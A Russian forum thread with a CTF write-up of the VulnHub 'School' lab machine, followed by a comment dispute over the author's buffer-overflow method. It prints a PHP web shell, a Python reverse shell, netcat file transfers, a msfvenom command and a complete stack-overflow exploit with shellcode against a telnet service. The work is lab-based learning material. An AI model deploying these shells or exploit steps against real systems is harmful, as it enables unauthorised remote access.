CTF Writeup School: 1 Vulnhub - Моё первое переполнение буфера

INPC

Grey Team
21.08.2019
77
162
BIT
328
Приветствую!

В одном из прошлых врайтапов я описал прохождение коробки альтернативным способом, вместо использования ошибки переполнения буфера и сказал, что пошел развиваться в направление The buffer overflow...

И вот, наконец, в данном прохождении, я представлю свои первые успехи в деле "о переполнении буфера". Ну, к делу...

Исходные данные:
Атакуемая машина под управлением Debian linux, на которой есть 2 флага.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux и ВМ с windows 7
Задача: получить 2 флага с целевой машины и права пользователя root.

Выяснив ip адрес атакуемой машины, при помощи команды
kali@kali:~/Lab$ sudo netdiscover

сканируем её nmap'ом:
kali@kali:~/Lab$ nmap -A -p- -v 192.168.3.125

1640519647689.png


Как видно -на целевой машине крутится 3 сервиса: 22 порт - ssh, 80 порт - http и 23 порт с телнетом.

При попытке подключения к 23 порту, видно требование ввести код верификации, так что пока отложим его и пойдем копаться в вебе...

1640519996942.png


Попытка перебора директорий сайта ничего, особо не дала, так что пойдем, посмотрим, на сам сайт:

1640520272723.png


1640520162957.png


Нас сразу же редиректит на страницу авторизации и прежде, чем пытаться её сломать, попробуем перебрать поддиректории внутри student_attendance:

1640520613650.png


Ага, вот еще две директории - assets и database. Покопавшись в assets не было найдено ничего интересного, а вот database, ожидаемо содержал дамп sql-кода, где нашлись 2 логина и хеши паролей:

1640520890465.png


Оба хеша легко дешифруются - получаем:

0192023a7bbd73250516f069df18b500:admin123:MD5
af606ddc433ae6471f104872585cf880:06232014:MD5

admin::admin123
jsmith@sample.com::06232014

Авторизовавшись, как Джон Смит, не видим ничего интересно, оно и понятно - он просто студент. Заходим в админскую учетку, видим чуть больше, но снова - ничего полезного.

1640521598939.png


Однако перехватив респонс в бурпе, я нашел закомментированную строчку с сылкой и комментарием System Setting (Это можно было найти и при просмотре кода страницы, через DOM)

1640521735637.png


Интересно, пошли смотреть...
Видим форму, позволяющую загрузить изображение и сохранить.

1640522525611.png


Я попробовал загрузить простенький php-шелл (shell.php):
PHP:
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>

Окей, все загрузилось, вот только где теперь искать шел? И тут я вспомнил про найденную ранее директорию assets, в которой есть папка upload и заглянув в неё, я и нашел загруженный шелл:

1640523007995.png


Отлично, куда обращаться теперь понятно, попробуем использовать шелл:

1640523122321.png


Работает, как надо. Ну теперь все просто - получим нормальный шел, загрузив python шелл (rev.py):
Python:
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.111",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

Запустим прослушиватель на порт 1337 и выполним скрипт.

1640523279669.png


1640523330343.png


Ну и заберем заслуженный флаг пользователя (в /home и файле /etc/passwd нашлось 2 пользователя - fox и ppp. Флаг был найден у пользователя fox, а вот, у ppp вообще ничего полезного не нашлось)

1640523414552.png


Сам флаг local.txt: e4ed03b4852906b6cb716fc6ce0f9fd5

Время получать root!
Через просмотр процессов рута (ps -aux | grep root) был найден странный процесс /opt/access/access.exe

1640523919474.png


Перейдя в /opt/access/ видно 2 файла access.exe и funcs_access.dll

1640523997089.png


Скачав их на основную машину (а после перекинув на ВМ с виндой) начинаем изучать их:
- Скачивание файлов, через netcat:
* На основной машине:
kali@kali:~/Lab/school$ sudo nc -lnvp 4444 > access.exe kali@kali:~/Lab/school$ sudo nc -lnvp 4444 > funcs_access.dll

* На целевой машине:
www-data@school:/opt/access$ nc -nv 192.168.3.111 4444 < access.exe www-data@school:/opt/access$ nc -nv 192.168.3.111 4444 < funcs_access.dll

Для начала, просто запустив acces.exe, становится понятно, что это именно он использует 23 порт, на атакуемой машине.
Запустив файл, я набросал простенький скрипт для попытки вызвать сбой приложения.
Python:
#!/usr/bin/python
import sys
import socket

buffer = "A" * 5000

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.129", 23))
s.send(('Verification Code: ' + buffer))
s.close()

Тут все просто, подключаемся, через 23 порт и отправляем 5000 символов 'A', пытаясь переполнить буфер и вызвать сбой.
Выполнив скрипт - приложение, ожидаемо, вылетает и закрывается.
Теперь запустим тот же файл в дебагере, я использовал, удобный для меня immunity debugger.
Пришлось снова применить научный метод тыка, чтоб определить точные значения, при которых приложение крашится...
Мы выяснили, что при отправке 5000 символов приложение падает. Отправим 1000 символов - приложение работает стабильно, отправим 2000 - упало и т.д.
Таким образом и было найдено число 1883.
Минутка научных фактов!
В 1883 году, в Амстердамском зоопарке по неизвестным причинам умирает последняя квагга...
Покойся с миром, бедная квагга (

1640532878999.png


Ну а если серьезно - теперь попытаемся перезаписать EIP. Для этого, изменим скрипт вот таким образом:
Python:
#!/usr/bin/python
import sys
import socket

buffer = "A" * 1883 + "B" * 5

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.129", 23))
s.send(('Verification Code: ' + buffer))
s.close()

Выполняем скрипт и смотрим на значение EIP

1640533365645.png


1640533395592.png


Как видим - все удалось, отладчик показывает значение EIP 42424242, что соответствует буквам "B".
Теперь добавим список всех бэдчаров в скрипт. Теперь код выглядит следующим образом.
Python:
#!/usr/bin/python
import sys
import socket

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = "A" * 1883 + "B" * 4 + badchars

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.129", 23))
s.send(('Verification Code: ' + buffer))
s.close()

И мы замечаем badchars в отладчике. Как видим после символа "L" идет плохой символ ("M", что соответствует '\x4d'), убираем его из скрипта и пробуем снова

1640558612843.png


1640558743183.png


1640558752747.png


Теперь попался плохой символ "O" ('\x4f').

Повторяя данную операцию и удаляя все badchars по одному, были обнаружены следующие бэдчары “\x4d\x4f\x5f\x79\x7e\x7f”.

Далее я выбрал один из адресов JMP ESP. Сначала посмотрим модули при помощи комбинации клавиш Alt+E. Я выбрал модуль, выделенный ниже.

1640559510685.png


Теперь я нашел адрес JMP ESP (625012DD)

1640559186262.png


преобразовал его в нужный формат и добавил к скрипту, чтоб он выглядел вот так:
Python:
#!/usr/bin/python
import sys
import socket

buffer = "A" * 1883 + '\xdd\x12\x50\x62' + '\x90' * 32

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.129", 23))
s.send(('Verification Code: ' + buffer))
s.close()

Дело за малым - сгенерировать шелл, через msfvenom:
kali@kali:~/Lab/school$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.111 LPORT=5555 -f c -b "\x00\x4d\x4f\x5f\x79\x7e\x7f" EXITFUNC=thread

Тут тоже все просто, после "-p" мы указываем тип шелла LHOST и LPORT наши ip и порт, соответственно, после "-b" идут бэдчары, выявленные ранее.

1640539809341.png


Вставляем наш шелл-код в эксплоит и он, наконец, принимает конечный вид:
Python:
#!/usr/bin/python
import sys
import socket

shell = ("\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xf3\xe0\xdc\xc9\x83\xee\xfc\xe2\xf4\x0f\x08\x5e\xc9\xf3\xe0"
"\xbc\x40\x16\xd1\x1c\xad\x78\xb0\xec\x42\xa1\xec\x57\x9b\xe7"
"\x6b\xae\xe1\xfc\x57\x96\xef\xc2\x1f\x70\xf5\x92\x9c\xde\xe5"
"\xd3\x21\x13\xc4\xf2\x27\x3e\x3b\xa1\xb7\x57\x9b\xe3\x6b\x96"
"\xf5\x78\xac\xcd\xb1\x10\xa8\xdd\x18\xa2\x6b\x85\xe9\xf2\x33"
"\x57\x80\xeb\x03\xe6\x80\x78\xd4\x57\xc8\x25\xd1\x23\x65\x32"
"\x2f\xd1\xc8\x34\xd8\x3c\xbc\x05\xe3\xa1\x31\xc8\x9d\xf8\xbc"
"\x17\xb8\x57\x91\xd7\xe1\x0f\xaf\x78\xec\x97\x42\xab\xfc\xdd"
"\x1a\x78\xe4\x57\xc8\x23\x69\x98\xed\xd7\xbb\x87\xa8\xaa\xba"
"\x8d\x36\x13\xbf\x83\x93\x78\xf2\x37\x44\xae\x88\xef\xfb\xf3"
"\xe0\xb4\xbe\x80\xd2\x83\x9d\x9b\xac\xab\xef\xf4\x1f\x09\x71"
"\x63\xe1\xdc\xc9\xda\x24\x88\x99\x9b\xc9\x5c\xa2\xf3\x1f\x09"
"\x99\xa3\xb0\x8c\x89\xa3\xa0\x8c\xa1\x19\xef\x03\x29\x0c\x35"
"\x4b\xa3\xf6\x88\x1c\x61\xf0\x8f\xb4\xcb\xf3\xf5\x6f\x40\x15"
"\x8a\xcc\x9f\xa4\x88\x45\x6c\x87\x81\x23\x1c\x76\x20\xa8\xc5"
"\x0c\xae\xd4\xbc\x1f\x88\x2c\x7c\x51\xb6\x23\x1c\x9b\x83\xb1"
"\xad\xf3\x69\x3f\x9e\xa4\xb7\xed\x3f\x99\xf2\x85\x9f\x11\x1d"
"\xba\x0e\xb7\xc4\xe0\xc8\xf2\x6d\x98\xed\xe3\x26\xdc\x8d\xa7"
"\xb0\x8a\x9f\xa5\xa6\x8a\x87\xa5\xb6\x8f\x9f\x9b\x99\x10\xf6"
"\x75\x1f\x09\x40\x13\xae\x8a\x8f\x0c\xd0\xb4\xc1\x74\xfd\xbc"
"\x36\x26\x5b\x3c\xd4\xd9\xea\xb4\x6f\x66\x5d\x41\x36\x26\xdc"
"\xda\xb5\xf9\x60\x27\x29\x86\xe5\x67\x8e\xe0\x92\xb3\xa3\xf3"
"\xb3\x23\x1c")

buffer = "A" * 1883 + "\xdd\x12\x50\x62" + "\x90" * 32 + shell

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.125", 23))
s.send(('Verification Code: ' + buffer))
s.close()

Запускаем nc на основной машине, на выбранный порт. Запускаем эксплоит и...

1640540078523.png


Ура! МЫ ЕСТЬ РУТ!!!
Радостные бежим забирать флаг рута.

1640540171275.png


Сам флаг (proof.txt): ccc34dede451108a8fe6f75d6ea7d2ae

В заключение скажу, что машина оказалось довольно простой по общим меркам, но у меня, получение рут прав, вызвало кое-какие сложности, которые мне, таки удалось перебороть.
Это был мой первый раз, в полноценном переполнении буфера, с целью получения доступа. Так что будьте со мной помягче ;)
Как обычно, спасибо всем, кто дочитал этот врайтап до конца и если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку.
 

Вложения

  • 1640537790206.png
    1640537790206.png
    9 КБ · Просмотры: 188
  • 1640558601288.png
    1640558601288.png
    9 КБ · Просмотры: 149
  • 1640558856285.png
    1640558856285.png
    22,2 КБ · Просмотры: 308
  • 1640559483822.png
    1640559483822.png
    10,8 КБ · Просмотры: 173
Последнее редактирование модератором:

INPC

Grey Team
21.08.2019
77
162
BIT
328
Сомневаюсь что ты сам писал эту статью, так как не видно откуда ты взял точное число для оффсета EIP , а так же не видно как ты ищешь бад чары.
C EIP было довольно просто, но честно говоря по началу, я действовал интуитивно, пытаясь просто найти максимальное количество символов, при которых программа отработает, а после, добавил другие символы, чтоб посмотреть, что происходит. Таким образом EIP и был впервые перезаписан, позже я вычислил более точные значения.
С бад чарами, я если честно намучался, но в основном из-за интерфейса. И пока проводил манипуляции (верите, или нет) просто не сделал скринов, а повторять во второй раз эту мракобесию не очень хочется.
Верить, или нет, дело конечно ваше, но на кой, простите, мне надо выкладывать не свои статьи, если я даже не получаю с них ничего?
 
  • Нравится
Реакции: uwu_net

INPC

Grey Team
21.08.2019
77
162
BIT
328
Но окей, момент принят к сведению. В следующие разы постараюсь расписывать все более подробно.
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
В статье сказано, что ты используешь Mona.py для поиска JMP ESP. Значит то что ты написал выше это ложь по поводу оффсетов EIP и бадчаров. Короче говоря я свое мнение высказал. Не желаю дальше продолжать данный диалог. Удачи вам))

p.s. Когда человек впервые знакомится с переполнением он максимально расписывает все детально. Цель этой тачки не сканирование. Логично было увидеть несколько скриншотов где ты используешь Mona.py для поиска оффсетов и бадчаеров, а так же JMP ESP. Этого в статье нет. В статье сказано, что ты получил адрес JMP ESP используя mona.py, но адрес подобрал вручную, это смешно.

Пришлось снова применить научный метод тыка, чтоб определить точные значения, при которых приложение крашится.
Это было число 1883.
На этом ты и попался. :-D
 
Последнее редактирование:
  • Нравится
Реакции: KyMuP и INPC

INPC

Grey Team
21.08.2019
77
162
BIT
328
Я еще чуток углубился и наконец понял суть вопроса. Смотри, то, что ты делаешь в моно, выясняя смещение до EIP (из твоей статьи), я как раз и сделал методом тыка, подставляя значения (сначала отправил 5000 символов - приложение упало, отправил 1000 - живет, отправил 2000 - упало и т.д.), затем отправил другой символ в конце ("В"), чтоб проверить. Да, это не научно и магии в этом нет, но сработало. Так и получил значение смещения до EIP.
Затем уже пошел смотреть бэдчары. Вот скрины, которые надо было ставить (про то, как я искал адрес)
1640556212854.png
1640556217869.png


Теперь бэдчары
Выполняем скрипт
Python:
#!/usr/bin/python
import sys
import socket

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = "A" * 1883 + "B" * 4 + badchars

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.129", 23))
s.send(('Verification Code: ' + buffer))
s.close()

Видим, что процесс застопорился на символе "M"
1640556945018.png

Что соответствует "\x4d", убираем его и выполняем сплоит снова:
1640557031323.png

1640557049322.png


Видим следующий плохой символ и т.д., и т.д. в конце получаем все бэдчары "\x00\x4d\x4f\x5f\x79\x7e\x7f"
 

INPC

Grey Team
21.08.2019
77
162
BIT
328
@fuzzz ты ведь хотел, чтоб я это приложил? Или еще что-то?
Спасибо кстати за статьи, помогают пониманию, буду использовать, при дальнейшем изучении тематики.
 
  • Нравится
Реакции: Nick Nickovich

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Лол , ну вот зачем опять? У тебя опять косяк.

У тебя мона не сможет вычислить адрес, это вообще не патерный адрес ( строка, которая генеруется в мона или в метасплойте).

А что ты будешь делать когда тебе надо будет 50000 тыщ байтов отправить? тоже в ручную делать?


Это не те скрины. Ты залил шляпу. ей-богу.


Ты должен был сделать так.
!mona pc 5000
Затем скопировать сроку ASCII
Присвоить ей переменной
payload = ".........................."
Затем запустить сплойт
Посмотреть на EIP
скопироть от туда адрес
Затем подставить его в команду
!mona po адрес
 
Последнее редактирование:
  • Нравится
Реакции: INPC

INPC

Grey Team
21.08.2019
77
162
BIT
328
Лол , ну вот зачем опять? У тебя опять косяк.


У тебя мона не сможет вычислить адрес, это вообще не патерный адрес ( строка, которая генеруется в мона или в метасплойте).

А что ты будешь делать когда у тебе надо будет 50000 тыж байтов отправить? тоже в ручную делать?
на это не смотри, это я сейчас тыкал/пробовал по твоему примеру, то что я сделал, делается без моно вообще. Alt+E и берем модуль, а потом смотрим на адрес jmp esp вычисляем. Про моно напиздел (не специально конечно), признаюсь, мой косяк, раскаиваюсь
 

INPC

Grey Team
21.08.2019
77
162
BIT
328
А что ты будешь делать когда у тебе надо будет 50000 тыж байтов отправить? тоже в ручную делать?

Ну теперь нет) Но тут же речь идет конкретно про этот пример
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Ты пойми. Я критикую тебя не просто так. Я хочу чтобы ты понял свои ошибки. И научился чему то.
 
  • Нравится
Реакции: batu5ai

INPC

Grey Team
21.08.2019
77
162
BIT
328
Это не те скрины. Ты залил шляпу. Еёбогу.


Ты должен был сделать так.
!mona pc 5000
Затем скопировать сроку ASCII
Присвоить ей переменной
payload = ".........................."
Затем запустить сплойт
Посмотреть на EIP
скопироть от туда адрес
Затем подставить его в команду
!mona po адрес

Я расписал, как я делал, понимаю, что можно сгенерить строчку через мону, но я сделал иначе (описал выше), в данном примере - все сработало. Больше так не буду... Напоминаю, что я очень новичок в этой теме и в статье просто делюсь тем, как я это сделал. Впредь буду по твоему методу делать
 
  • Нравится
Реакции: shyriklv
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!